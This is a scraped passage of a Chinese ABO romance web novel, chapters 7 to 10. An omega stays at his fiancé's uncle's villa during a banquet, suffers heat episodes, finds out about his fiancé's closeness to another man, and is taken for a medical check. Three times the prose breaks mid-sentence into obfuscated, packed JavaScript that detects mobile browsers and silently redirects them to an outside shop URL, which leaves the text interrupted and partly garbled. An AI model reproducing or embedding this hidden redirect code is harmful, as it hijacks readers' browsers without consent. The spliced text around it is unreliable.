那边的江盛译扬声道:“庆功宴倒不是什么要紧事,要紧的是江氏以后在东南亚的市场打开了局面,再想往周边国家发展也容易了许多,我记得祖爷爷去世前曾经说过,谁能带领江氏走向更高处,谁就应该成为江氏新一任的掌权人。” 修长的指尖忽然在金丝楠木书桌上轻轻叩了两下,泛着青筋的手背冷白性感。 “是么,”江之屿扯了下唇角,“那你觉得,这个位置该由谁来坐?” 江盛译也笑了,顽劣的嗓音顺着听筒传递过来:“这个嘛,当然还是要由董事大会投票决定了。” 电话挂断后,江之屿倚在靠背上闭目养神。 二房名下的所有产业加起来要占江氏股份的20%左右,不是个小数目,况且江之松还在董事会成员之列,很多情况下他想在江氏搞些大动作,还不得不受到董事会那群老头们的一些限制。 唯一的解决方案是他名下股份能占到50%以上。 脑海中忽然冒出来一张娇软漂亮又嫩生生的脸蛋来,江之屿睁开双眸,眼底是一片晦暗不明。 他现在不仅要二房所有的产业。 * 凌然是被肚子里咕噜咕噜的叫声饿醒的。 他睡眼惺忪的睁开眼睛,看见外面天色居然还是黑蒙蒙一片,以为自己没睡多长时间,天都还没亮呢。 房门口响起来轻轻的敲门声,他过去打开门,宋义这次端着个餐盘站在门外。 “凌先生,您总算醒了,要不要用餐?” 凌然揉了揉乱糟糟的脑袋,点点头,他早就饿得前胸贴后背了。 宋义把餐盘给他放在桌子上,掀开盖子,肉的香味顿时就飘了出来。 “请用。” 凌然眼眸瞪得圆圆的,望着那一大块冒着油润色泽的牛排,也不客气的坐下便用叉子叉起来,直接趴在上面啃了一大口。 “你们江总还没有回来吗?”他一边吃着一边含混不清的问道。 宋义脸上又挂着那副公式化的笑容:“江总早就回来了呢。” 凌然连忙站起身来:“那,那你快点告诉他我要离开这里,我要回家……” 宋义接着又道:“然后又走了呢。” 凌然:“……” 话可以连起来说吗? 凌然又泄了气,坐回去继续啃牛排:“那他今晚不回来睡觉吗?” 宋义笑道:“昨晚江总是回来睡的呢,今晚也会回来睡的哦。” “昨晚?”凌然茫然的眨了眨眼睛,“现在不就是昨晚吗?” “不是的呢,您已经睡了一天一夜了。” 凌然忽然从椅子上跳起来,摸到自己手机一看。 果然,已经关机了。 “啊啊啊怎么办呀,我要是两个晚上都不回家睡,哥哥一定会骂死我的。” 凌然都能想得到哥哥震怒的表情,肯定又会骂他在结婚前出去鬼混,而且居然敢跟别的alpha夜不归宿。 他完蛋了。 宋义疑惑的看着他,不解问道:“凌先生的哥哥是凌氏集团的凌溯凌总吗?” 凌然抬头看着他,点头道:“是呀,你认识我哥哥吗?” “当然认识,今晚凌总也会来的哦。” 凌然震惊不已,害怕的像是快哭了:“哥哥,是来抓我回去的吗……” 宋义忙道:“不是不是,凌总是来参加盛译少爷的庆功宴,就在今天晚上,在这栋别墅里举行。” * 凌然好半天没能消化得了这个晴天霹雳。 不仅哥哥要来,盛译也要来。 一方面他因为盛译回国了,终于能看见他了而感到兴奋开心,另一方面他又担忧的不得了,万一被他们发现自己出现在江之屿的住处,那他又该怎么向他们解释。 凌然趁着宋义收拾好餐盘下楼的功夫,也偷偷从楼上溜了下来。 一楼的旋转楼梯紧连着宽敞的正厅,头顶流光溢彩的琉璃水晶吊灯炫目的令人头晕眼花,而正厅外面是一片绿茵草坪,旁边还有个偌大的泳池。 此刻正厅和外面的草坪上都摆满了各式各样的自助吃食,五颜六色的甜品饮品琳琅满目,几十个服务生正里里外外忙得不可开交,准备着即将开始的晚宴。 一会儿来着的可都是海市名流豪绅,各个都是有头有脸的人物,他们可怠慢不得。 宋义看起来没什么忙头,只用站在一边指挥着服务生们团团转就行了。 凌然蹑手蹑脚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他果然是打算锤掉自己的脑袋了呜呜。 可下一秒,凌然却忽然感觉唇边传来道微冷柔软的触感,像是有什么东西在摩擦他唇瓣旁边的肌肤。 他睁开眼睛,便见江之屿刚好收回手,还漫不经心的瞥了眼指尖沾染上的雪白奶油。 ! 凌然立刻用手背用力擦了擦双唇,耳根都因为羞赧渐渐浮上层粉红。 江之屿并没有因此取笑他,长腿迈开便朝着正厅的方向走去,只对着身后的Omega说了句:“跟上。” 凌然正欲偷偷溜走,却被赵钦堵住了去路。 赵钦好意的抬手给他指了指大门边,凌然在望见那两排整齐划一的制服保安后,乖乖收回了迈出去的腿,转身认命的跟上了江之屿。 宋义看见两人一前一后走进来,忙上前对江之屿汇报道:“江总,宴会已经全都准备好了,八点钟便可以准时开始。” “看好他,”江之屿提步上楼,“别让他到处乱跑。” 宋义盯着凌然,用力点点头:“是,江总。” 凌然欲哭无泪,八点钟宴会就要开始,那岂不是一会宾客们就要来了。 他可怜巴巴的跟在江之屿身后迈上楼梯,轻轻拉住了他的西装下摆。 “我可不可以先上楼藏起来?”漆黑清亮的桃花眼似乎在快速的积聚起来一层雾蒙蒙的水气,“我会很乖的,只要别让别人发现我就好了,可以吗?” 江之屿转过身子,居高临下地望着他。 那张白皙柔美的脸颊此刻在头顶莹亮的灯光下显得更加雪白瓷腻,像是上好的玉脂琼膏,完美无瑕,晶莹剔透。 而下面的两瓣红唇却又嫣红水润,亟待采撷。 他以前并没有在意过Omega的长相,难道所有的Omega都长成这样一副娇若嫩花的模样么。 见楼梯上的人只是看着他,一直不应允,凌然生怕他会让自己就留在楼下等着宾客们到来。 “可以吗?”凌然又软着嗓子问了一遍,“小叔。” 8. 第 8 章 凌然还在焦急等待江之屿点头,却听见外面已经隐隐传来了汽车的轰鸣声。 似乎已经有几个人来了,外面不停传来嬉笑寒暄声,并且正在朝着正厅这边靠近过来。 凌然浑身血液似乎都快被冰冻住了,浓密长睫在轻微的颤动,像是再眨一眨,就能委屈的落下泪来。 背后的脚步声即将迈入正厅的瞬间,江之屿笑了笑,终于没有再为难小Omega,微微让开了身子,算是默许。 凌然顿时松了口气,三步并作两步冲上了楼梯,飞速拐进一个房间然后“砰”一声关上了房门。 差点被一门拍到脸上的宋义停在了门口,背后的冷汗都直接冒了出来,回头小心翼翼地望了还在楼梯上站着的人。 这个Omega跑错了房间,居然跑进了江总的卧室! 江之屿面色如常,只是看了眼紧闭的房门。 正厅内进来的几人瞧见他,立刻喊道:“哟江总,真是好久不见啊,我刚才和老汤还说呢,您这滩外别墅搞得是真好,还有没有空闲的也给我们弄两套啊?” 一旁的老汤也附和道:“刚才顺着别墅外面那条滨海大道一路开过来,哎呀这个海景别墅风景是真的美,我看拍卖行那边售价已经炒到八位数了,这就算是有空闲的房子,我也买不起啊。” “咱们跟江总什么关系,江总还不卖给咱们内部价?” 江之屿本来是想上去换身衣服,这会儿直接伸手将领带随意扯了下来,又将领口扣子解开了两粒,原来一本正经的威严模样顿时变得恣意慵懒了几分。 他招了招手,一个服务生便端着香槟走过来为几人奉上。 “几位看上了哪套房子告诉我一声就好,一周之内手续就能办得下来,”江之屿抿了口香槟,“给各位八折。” 八折那就是直接优惠上千万,可谓给足了几位老板面子。 这几人中老汤是做酒店和旅游项目发家的,开口要求拿折扣的刘向恒主营商业地产,江氏目前正好拍下了块地还在做规划,不论和两人中的哪个合作都是双赢,江之屿很乐意卖他们这个顺水人情。 能在滩外拥有一套海湾别墅,也足够他们在外面吹嘘一阵了。 楼下到来的宾客越来越多,凌然在楼上都能隐隐听到些下面熙攘喧闹的声音。 可他此刻十分局促的坐在沙发上,屁股都只沾到了沙发的一点点边缘。 他是进来反锁了门之后,才发现自己竟然跑错了房间的。 这间房跟客房看起来很是相似,只是那张床看起来更宽更大了些,而且床上还摆放着一套休闲服。 他后知后觉的意识到,这里是江之屿的卧室,而他刚才上楼来应该是想回来换衣服的。 凌然想偷偷溜出去再回刚才的客房,可又怕会被楼下的人发现,他干脆就在江之屿的卧室等到楼下的宴会结束再说。 他在江之屿卧室找到了个手机充电器,给自己手机充上电后,劈里啪啦的未接来电就进来了。 凌沫给他打了四个电话,凌溯打了一个,秦诚月打了二十个。 秦诚月的消息正巧又在后台弹了出来。 【不吃西瓜】:凌然!!没死就快点给我回电话!! 【不吃西瓜】:你到底去哪了?电话不接消息也不回,再不接电话我就要报警了!!!! 【不吃西瓜】:快回电话!!!!!!!!!!!!!!!!!!!!!!! 凌然被满屏的叹号吵得眼睛疼,给秦诚月回过去了个电话。 铃声响了一秒就被人接了起来。 “你终于知道回电话了!!我还以为你被哪个alpha拐跑了!可吓死我了!”秦诚月在电话那边嚷嚷道。 “诚月我没事,我就是出了一点点小状况,你没有在我哥哥姐姐那里说漏嘴吧?” 秦诚月道:“放心,我的嘴最严了,我跟你姐说了你这两天都跟我在一起,他们应该不会怀疑的,但是你必须得给我老实交代,你到底去哪了?家也不回,电话也不接,你不会真的跟哪个野alpha私奔了吧?!” 凌然忙道:“没有没有,你别瞎猜了。” “行行行,改天见了面我再仔细审你,”秦诚月忽然变了语调,问道,“对了小然,有件事我得问问你,你记不记得尹楚?就是新闻独播栏目的负责人?” 凌然在床边坐下来:“当然记得,尹主播很有名的,很多人就是看了他的节目才学的播音主持,面试的时候我还见到他了,他本人比电视上还要温柔漂亮呢,不过你怎么会忽然提到他?” 秦诚月似乎犹豫了片刻,才遮遮掩掩的对电话说道:“其实我也只是听说的啦,我自己也没有亲眼看到,所以我也不敢确定是不是真的,但是我觉得还是有必要给你提醒一下,毕竟你和江盛译马上就要结婚了,要是结婚之后再发现出问题就晚了……” 他越说,凌然心里就越揪起几分:“诚月,你到底想说什么?” “哎呀,”秦诚月眼睛一闭,直接坦白道,“就是我听说江盛译其实昨天就已经回国了,但是他一直没告诉你,而且昨天晚上他还和一群人在外面庆功来着,尹楚好像也在,我是在尹楚一个粉丝的微博上刷到的,其实那照片也有可能是p的……” 凌然的嗓音很轻,他只是说道:“你把那张照片发给我看看。” 秦诚月听出他声音的不对劲:“要不你还是别看了,你在哪啊,要不你现在来我家找我?” 凌然语气很平淡:“不用了,你把照片发给我就好了,我等有空了就去找你玩。” 说完他便挂断了电话。 点进和江盛译的聊天界面,【亲亲阿译】还是没有回复。 秦诚月的消息进来了,是一张昏暗模糊的照片。 看得出来周围光线不清,包厢沙发上坐满了人,几个人凑在镜头前面比耶,而几人身后有两个身影看起来正交叠着抱在一起,姿态亲昵。 即使人影模糊,凌然还是能够一眼认得出来,那个搂着尹楚看不清面容的人,就是江盛译。 那一瞬间,他浑身的血液似乎都逐渐冷凝住了,呼吸像被一只大手扼住,叫他憋闷的有些喘不过气来。 盛译为什么会和尹楚看起来那么相熟,他们到底是什么关系? 为什么盛译从来没有跟自己提起过呢? 凌然从来不会以最坏的心去揣度别人,即使他心中伤痛难过的厉害,却还是想有机会一定要当面向盛译问问清楚。 他把那张照片来来回回看了好几遍,越看眼眶越红,越看越觉得心脏被人揪扯得厉害。 他有些难受,慢慢趴在了大床上,将通红的双眼和渐渐沉重的呼吸都埋进了被子里。 宋义打扫卫生很是尽心尽力,江之屿的房间里居然一点异味都没有,也没有任何的信息素味道残留。 凌然不知道自己趴了多久,也不知道是因为呼吸困难大脑缺氧,还是因为伤心过度,总之他意识变得越来越模糊,四肢也渐渐绵软无力,身子在隐隐发烫,好像又有点要起热的感觉。 他无意识地半张着嘴巴,小口小口的吸着气,嫩白的脸颊上已经染上了柔软红晕。 被两片阻隔贴紧紧束缚住的孱弱腺体,正在悄无声息伺机而动,浓郁的玫瑰葡萄香准备破土而出。 * 一楼人头攒动,几乎整个海市的名流此夜都汇聚于此了。 江盛译赶到的时候,见今夜的场面如此盛大,心中不禁颇有些得意,他这两年在江氏做出的成绩有目共睹,这些人精们是知道他是今晚庆功宴的主角,所以特意赶来讨好罢了。 尹楚和他一起到的,刚迈进正厅,视线就落在了正被几个大亨团团围住的enigma身上。 江之屿在这样的场合下显得从容不迫,游刃有余,与几个大亨玩笑期间,还能顺势谈成下一次合作意向。 尹楚拉着江盛译走到人群旁。 也有几个人认出了江盛译,走过来主动跟他打招呼,但是话里话外居然都是想借着江盛译能跟江之屿攀上关系,而且并没有几人真的在意今晚的晚宴是庆功宴还是什么请酒宴的,他们只是冲着江之屿和江氏的名号来的。 才跟几人没聊上几句,江盛译脸色就黑了,转身就要走。 尹楚拉住他:“盛译,怎么刚来就要走?今晚是给你开的庆功宴,你这个主角走了可怎么好。” 江盛译俊朗英挺的脸上颇有些面目狰狞,怒视着被包围在人群中的江之屿,咬牙切齿道:“你好好看清楚谁才是主角!我是脑子被狗吃了才会相信他会好心给我办什么庆功宴,不过就是为了当面羞辱我而已。” 尹楚挽着他手臂,语气柔和的劝解道:“你别太冲动,之屿他肯定不是那个意思,你们两个总是不肯好好坐下来把话说清楚,其实之屿都是为了你好,他也想让你快点成长起来好帮他一把。” 江盛译虽然怒不 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眼前出现了一片明亮灯光,那只手顺着他身体摸到他后颈,修长有力的指尖不过隔着阻隔贴在微微红肿的腺体上轻轻点了点,便有一道近乎变调的惊呼从他喉间倾泻而出。 凌然身子抖得厉害,皮肤内外都在被细细密密的啃噬,吞食,他哆哆嗦嗦得哭着,难受的快要死掉了。 这时候,像是久旱干裂的土地上终于迎来骤降的天泉甘霖,有股极其强悍又带着可怖侵占欲的信息素铺天盖地朝他四肢百骸瞬间侵袭而来。 空气中的龙舌兰酒味越来越浓烈,醇厚,光是闻着便要把人醺醉。 虽然已经猛烈的吸过一次了,可再次接受这样烈性的信息素,还是会让娇弱的Omega无力承受,纵使在昏迷中也会充满痛楚的嘤咛呜咽。 但是好在已经吸过一次,这次显然已经比上次适应的要快。 很快,在暴雨中颤抖的娇花不再抖得那样激烈,enigma的信息素也逐渐收敛了起来。 剩余的一点变成了温和细雨,像是操控力道极强的双手,安抚性的慢慢抚平怀中可怜的小Omega。 江之屿虽然不介意帮他两次,可是他的发情期如此混乱不稳定,应该去医院好好检查下了。 把小Omega暂时放进浴缸里,江之屿拉开浴室的门走出来,为了避免里面太过浓烈的龙舌兰信息素飘出来影响到楼下的宾客们,他随手关了门。 换了身衣服后,江之屿身上又恢复了干净清爽,他正准备回浴室看看人醒了没有,却听见房门忽然被人从外面敲响。 外面的人喊道:“小叔,我是盛译,你在里面吗,我有事要找你商量。” 江之屿浅浅蹙了下眉。 “小叔,你要是方便的话我就直接开门进来了?” 正说着,房门便传来被人从外面扭动的声音。 只是还没等江盛译把门推开,门就忽得从里面开了。 高大俊美的enigma比alpha还要强壮健实得多,眉眼低低压着,望向来人。 “有什么事明天公司说。” 门只开了一小道缝,明显是不欢迎任何人入内。 “公司人多眼杂,咱们叔侄说点贴心窝的话,还用得着去公司吗?”江盛译扯着笑,分明是不达目的不罢休,“我刚才在楼下看见了刘向恒,我已经跟他简单沟通了一下接下来的合作意向,江氏不是刚在西港湾区域拿了块地吗,我打算跟刘氏合作,打造成一片商业住宅结合体……” 江之屿站在门边无谓听着,一手懒懒插进裤子口袋,一手轻松抵在门框上,没听完便一锤定音:“那块地不适合做商业。” 江盛译话被堵在半截:“为什么?我早就已经让人做好了规划书,我还打听到政府也有意开发周围片区搬迁到附近……” 他的话没说完,房间内忽然传来了一声极其微弱的响动,像是浴室门被拉开的声音。 江盛译表情忽然变了,玩味地朝着房中打量:“原来小叔不让我进屋,是因为在屋里偷偷藏了人?” 江之屿不言,侧眸望了眼。 那个纤细娇弱的Omega脸上的潮红还没完全褪去,一双桃花眼中水光摇曳,他像是还没完全搞清楚状况,却因为听见了熟悉的声音而呆愣在了原地。 9. 第 9 章 江之屿漫不经心道:“你先下去。” 说完,便直接将房门“砰”一声甩上。 江盛译摸了摸鼻尖,觉得有意思极了,他一直以为他这位小叔做事雷霆手腕,从不会出什么纰漏。 可是今天这样一个重要的场合,他竟然在房间里偷藏了一个小情人儿,还被自己发现了。 只是不知道小叔的小情人会是个身材矫健的alpha,还是个老实耐用的beta,总归不会是Omega。 江盛译脚步轻快的从旋转楼梯下去,尹楚就在楼梯口处等他,见他面露喜色,便上前问道:“跟之屿谈的怎么样?” 江盛译搂住他的肩膀,将他直接带到了角落里的无人处。 尹楚不着痕迹的从他臂弯下脱离出来,整理了下自己微长的头发,颇有些娇嗔地抱怨道:“别把我的发型弄乱了。” 江盛译双眸都在隐隐冒着兴奋的光芒,问尹楚道:“你知道我刚才发现了什么吗?” 尹楚茫然:“什么?” 江盛译语气颇为鄙夷,说道:“他江之屿平日里装做一副正人君子的假模样,其实私底下玩得有多花你根本就不知道。” 尹楚脸色像是有些沉了下来:“盛译,他是你的小叔,算是你的长辈,你怎么能在背后这样抵毁他,之屿他不是你说的那种人。” 江盛译知道尹楚一直对他小叔心存幻想,从来不会回头看看自己,他这会儿有些着急了,说道:“你又没跟着我上楼,你怎么知道他都干了什么龌龊事?嘴上说着给我办庆功宴,你知道他现在房间里就藏了个人小情人吗?他妈的说不定早就给人终身标记了。” 此话一出,尹楚顿时愣在了原地。 * 江之屿原本是想把凌然直接交给凌溯一起带回家的,但没想到这个小Omega这么能发情。 把他床都弄脏了。 他不得已才把人抱去了浴室。 凌然吸入了不少enigma的信息素后,这会儿热潮又被暂时压制了下去,他意识正在慢慢回拢,但发软的双腿却没恢复的过来,一个踉跄直接扑倒在了地上。 面前出现了一双笔直修长的小腿,凌然撅着屁股趴在地上,可怜兮兮的抬眸望去。 江之屿抱着双臂,居高临下的垂眸望他。 “起来。” 命令式的语气。 凌然委屈的瘪了瘪嘴巴,自己撑着胳膊想爬起来,但是两条细细弱弱的手臂也在隐隐颤抖发软,他又“扑通”一声趴了回去,这次直接抱住了男人劲瘦冷白的脚腕。 江之屿撤开半步,在他面前蹲下身子。 Omega是很娇弱,但是为什么能够娇弱到这个地步。 区区一个发情热,便能让他在自己面前变成这样一滩葡萄水么。 凌然能察觉到头顶有道视线一直在盯着自己,又深又沉,可他越是急着想爬起来,越是浑身都使不上力气,脑袋也晕晕乎乎的难受。 他真的不是故意的。 “呜……” 像只无辜的小兽可怜的匍匐在脚边,喉咙里还发出了一声极轻的微弱哼声,带着满腔委屈。 江之屿盯着他毛茸茸的头顶。 看起来好像挺好摸。 一双大手忽然伸了过来,一只绕过他腰侧贴在了他腹部,另一只揽过了他双腿,轻轻用力,便直接将地板上的人抱了起来,朝着沙发走去。 “地上凉。”江之屿轻描淡写道。 凌然在有意识的情形下,还是第一次被人如此亲昵的抱在怀中。 他抬眸,只能看见男人冷峻的侧脸。 这样的角度看过去,是跟盛译完全不同的长相。 英俊,冷淡,矜贵,睥睨一切。 江之屿将他放在了沙发上,见他面色几乎红透,两手也一直在揉搓着衣角布料,像是极为局促。 “怕我?” 凌然连连摇头:“没,没有……” 看起来怕的厉害。 江之屿问道:“先前发情期没去医院看过?” 凌然又开始搅衣角,低着头,像个做错事的孩子。 “没。” 家里虽然五口人,但四个都是alpha,只有他一个弱弱小小的Omega,从小便被当成了可以为家族助益的工具。 没人教过他Omega的生理知识,也没人真的关心过他是不是真的发育良好,家族只需要他攀附靠山,带来利益,发挥他作为Omega的利用价值,便够了。 唯一会对他嘘寒问暖的,恐怕只有姐姐凌沫了,可凌沫平日里公司的事情也很繁忙,她一个alpha更不会细腻到要教Omega弟弟生理知识。 江之屿像是料到了这个答案:“你的身体已经不适合再注射抑制剂,再打下去可能会对身体造成损伤,严重的还会影响生殖腔发育。” 嫣红的唇瓣微微张开,凌然脸颊红扑扑的,疑惑道:“生,生殖腔?” 江之屿觉得自己像是在给无知小孩上生理知识讲堂:“Omega的生殖腔最适合用来孕育,一旦生殖腔造成损伤,可能以后再也不能怀孕生子,也就无法为伴侣繁衍后代,很多alpha会特别忌讳这一点。” 凌然摸了摸自己小腹,用力点点头。 他从来没去医院做过生殖腔的检查,所以他也不知道自己的生殖腔有没有受到损伤。 摸着摸着,就听见静谧的房间内忽然响起两声咕噜咕噜的肚子叫。 凌然耳根顿时红了个彻底,恨不能将脑袋直接埋到沙发底下。 耳边似乎传来声低低的轻笑,凌然听见房门打开又关上的声音,他抬眼一看,房间内已经只剩下了他自己。 他这才忽得松了口气,身子也随之瘫软在了沙发上。 没一会儿,便听见门口有人敲门。 “请进。”凌然轻声道。 来人是宋义,这次他直接推了个小餐车进来,走到凌然面前后,将餐车上的盖子一一揭开。 盘子里是各式各样的精美小蛋糕,看起来比楼下的那些更加甜美软糯,诱人的很。 凌然舔了舔唇瓣,肚子更饿了。 宋义笑眯眯道:“凌先生请用,江总吩咐了,这些都是您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403934|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,要多少有多少。” 凌然眼睛都亮晶晶的闪着光,率先塞了个小蛋糕进嘴里,香甜的奶油味立即在舌尖味蕾上炸开。 “泥帮窝靴靴小鼠。”凌然一边吃着,一边含混不清道。 宋义嘴角抽了抽,但还是保持着超绝表情管理,面带微笑:“没问题凌先生,那您先慢用,有什么事情可以叫我。” 宋义出去后,凌然一个人在房间内尽情大快朵颐,吃了个尽兴。 他吃完后,自己乖乖把餐车推到了门口,在门内喊了宋义几声,可是外面没人应答。 他悄悄打开房门,往外面看了眼。 楼下正厅内的人已经都去到外面草坪上谈笑聊天去了,还有几人换了泳衣,正在泳池边开趴体。 宋义也不知道去了哪里。 凌然蹑手蹑脚从房内出来,想下楼自己再拿几个小蛋糕吃。 他忽然望见草坪上被众星捧月一般团团围住的高大男人,即时在人群中,江之屿好像也总是最为炫目耀眼的那一个。 凌然不知不觉间盯着他的脸看了好一会,视线稍稍偏移开,这才注意到就在江之屿不远处站着的,正是他那个许久未见的未婚夫江盛译。 而与江盛译站在一起,正在举着酒杯说笑的人,不是尹楚又是谁。 凌然顿时愣在了原地,看着那两道姿态亲密的身影,他还是慢慢红了眼眶。 原来,江盛译不是不会笑,只是不会对着他笑。 江盛译也不是总那么冷漠无情,只是他的温柔体贴,全都给了另一个人。 凌然再看不下去,转身又跑上了楼梯,这次他精准无误的跑进了江之屿的卧室,又一头倒在了那张宽大的鹅绒大床上。 脸颊埋进去,眼泪无声的滚落下来。 庆功宴圆满结束,江之屿目的达成,要谈的几桩生意已经全都谈成,只剩下细节再去公司敲定即可。 他上楼回房,看见他的床上鼓起来一个小小的山包。 走上前掀开被子,才发现里面竟然蜷缩着一个小Omega。 凌然是趴在床上哭累了,哭着哭着就直接睡了过去,中途觉得冷,便本能钻进了被窝中。 宋义进来后,忙要上前把床上的人叫醒,却被江之屿制止了。 翌日早上,凌然睡眼惺忪的从鹅绒大床上醒来,双眸瞬间瞪圆,在床上找了找,发现确实只有他自己。 看来昨夜江之屿并没有回房睡,而是把大床让给了他。 凌然有些心虚,从楼上下来后,便撞见了正坐在餐厅慢条斯理用着早餐的男人。 “小,小叔,早。”他乖乖打招呼。 江之屿平静的看他一眼,开口:“过来。” 凌然自觉便听了话,小步小步挪过去,站在了餐桌前。 “坐下吃饭。” 宋义上前来给他拉开椅子,凌然便只能老老实实的坐下,也慢慢喝粥。 他想开口问一句,他到底什么时候能回家。 不等他开口,坐在对面的男人视线便落在了他头顶。 “吃完带你去医院检查。” 10. 第 10 章 凌然像是没有抗拒的权利,江之屿只说既然他以后是要嫁到江家来的,那必须得保证他身体是健康的。 凌然觉得他是江盛译的长辈,自然也会凡事都为江家考虑。 来到医院后,徐观意早已开好了检查单子等候两人。 “江大总裁今天不忙?”徐观意好奇问道,“怎么会有空亲自陪小朋友来?” 江之屿望了眼身侧睁着圆溜溜的眼睛四处乱瞄的小Omega,让一旁的赵钦拿了张黑卡递给徐观意。 “给他做全身检查。” 徐观意老老实实拿着黑卡去刷了个全身检查的套餐,反正江之屿有的是钱,所有仪器都选的最贵最好的。 检查结果很快便能出来,徐观意拿着报告回到办公室内,便看见小Omega乖乖巧巧地坐在桌前,一旁还坐着个身高腿长的高大enigma。 狭小的办公室都因为江之屿的存在而显得有些局促。 徐观意面色凝重,将一张透视图贴在了展板上。 “凌然,20岁,Omega,信息素是玫瑰香葡萄,”徐观意忽然问道,“以前生过什么信息素病吗?” 凌然根本看不懂那透视图上白花花的一团东西是什么,只是觉得上面那个漆黑的小点有些突兀。 “没有,只是我分化的比较晚,17岁才分化完成。”凌然回答道。 一般的Omega分化期在13岁至16岁,这个时间段的Omega腺体和生殖腔都会随之发育完全,有个别情况可能会导致分化稍晚。 凌然17岁分化倒也还算合理。 徐观意见一旁的江之屿全程听着,并没有要回避的意思,便试探性的问道:“江总,下面的谈话内容可能会涉及到病人隐私,您也要一起听着吗?” 江之屿视线落在那张透视图上,眼底波澜不惊。 “说。” 徐观意抿了抿唇,谁让他是江家掌权人,凌然真的和江盛译完婚的话,以后也是要听江之屿的。 早听晚听都一样。 “这个部位,是Omega的生殖腔,”徐观意指着图上那个黑点说道,“但是因为你受到命定之番的信息素影响已久,每次发情期又都是靠注射抑制剂强行压制的,所以生殖腔因为发育不良出现了萎缩现象,现在就只有这么大小。” 两人都看向了图中那个花生大小的黑点。 江之屿像是没想到这个小Omega不仅人小,生殖腔更是孱弱瘦小的可怜。 这么小小的生殖腔,真的能为伴侣孕育生命,繁衍后代么。 “你的发情期现在也非常混乱,你这几日是不是经常会忽然陷入发情热潮,但是只要被高等级的信息素安抚之后,便能暂且缓解一些?” 凌然表情有些茫然,一双清亮的桃花眼扭过去,看向了坐在身侧的男人。 江之屿淡然应声:“是。” 徐观意眼神好奇,想问你怎么知道。 江之屿又道:“要怎么才能促进他生殖腔继续发育?” 凌然听着生殖腔三个字从面色沉寂的男人口中说出,心中忽然莫名震跳了两下。 他低低垂下头去,有些不安,更多的是慌乱害怕,还有几分隐私密情被人这么光明正大宣之于口的羞赧。 江之屿看着他白皙柔腻的后颈在自己眼前就这么暴露出来,上面还贴着一小片圆滑的阻隔贴。 分明是江盛译一直用自己的信息素影响他,却又迟迟不肯给他标记,才会让他身体受到如此损伤。 可这个小Omega看起来竟然像是自己犯了错的小孩,焉哒哒的,看起来快哭了似的。 徐观意尽量用最通俗的语言向凌然解释道:“不用害怕,生殖腔萎缩和发情期紊乱都不是什么绝症,能治好的,只需要你的alpha伴侣经常给你喂点信息素,最好是能给你个标记,临时标记也好,然后再配合药物治疗,很快就能恢复的。” 凌然闷闷的“嗯”了声。 徐观意走到一个厨柜前拿出来几样东西,一一摆在了桌子上。 “还有就是你现在可能经常无法控制自己的信息素释放,还会很容易受到外人信息素的干扰,最好佩戴上信息素抑制器。” 桌上的仪器小巧精密,全都是大小不一的环形。 徐观意逐一介绍道:“这是手环,这是脚环,这是颈环,这是腰环,字面意思,就是选择一种佩戴在相应位置即可。” 平日凌然还要正常生活,颈环和腰环自然极不舒适,他想选择那个看起来最为小巧的手环。 “我想要……” 话没说完,便被江之屿出声打断。 “脚环。”他说道。 徐观意立即应声:“好嘞!” 江总眼光就是好,这脚环是这几种抑制器里面最贵的,他像是生怕江之屿反悔似的,立即把剩余的抑制器全都收回了厨柜中。 凌然心里委屈极了,可怜巴巴的回头看着江之屿。 他明明想选的是手环啊…… 江之屿屈指,将桌上那个纤细的小圈拿起来看了看,上面有个小小的显示屏,细分为好几个挡位,应该能把其他alpha的信息素隔绝开来。 只是不知道,这小东西能不能阻隔的了enigma的信息素? “会带么?”江之屿沉着眼眸,似乎往他裤腿下看了眼。 凌然不自觉往后缩了下,点头,然后将那个脚环从他手中拿了过来。 快速撩起来裤腿,那截白晃晃的纤细脚踝只不过在眼前闪过一瞬,便又被宽松的黑色裤子遮挡住了。 凌然站起身,说道:“谢谢小叔,我回家之后就把钱还给您。” “嗯,”江之屿掏出手机递到他面前,“那先加个联系方式。” 凌然乖乖也拿出来自己的手机,添加上江之屿的微信后,又给他备注了“小叔”。 一旁的徐观意看着面前的两人,嘴角无声抽了抽。 江之屿难道会真的在乎这点小钱? 是不是骗人家小孩加他微信呢?! * 凌然带着脚环,被平安送回了家。 刚进家门,迎面就撞上了面色铁青的凌溯。 凌溯刚才在猫眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403935|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里看见了凌然是从一辆陌生的劳斯莱斯上下来的,气的差点就要直接上前破口大骂,担心会影响不好,这才隐忍了下来。 这会儿他有气便直接朝着凌然身上发:“刚才谁送你回来的?我再三警告过你,你跟江盛译的婚期马上就要到了,这段时间你给我夹紧尾巴好好注意着点,不要再随便出去跟那些不三不四的alpha鬼混,你拿我的话当成耳旁风了是不是?!” 凌然手上还提着徐医生给他开的药物,小脸也有些发白,可哥哥对他的不舒服视若无睹,只会担心他和盛译的婚约还能不能如期举行。 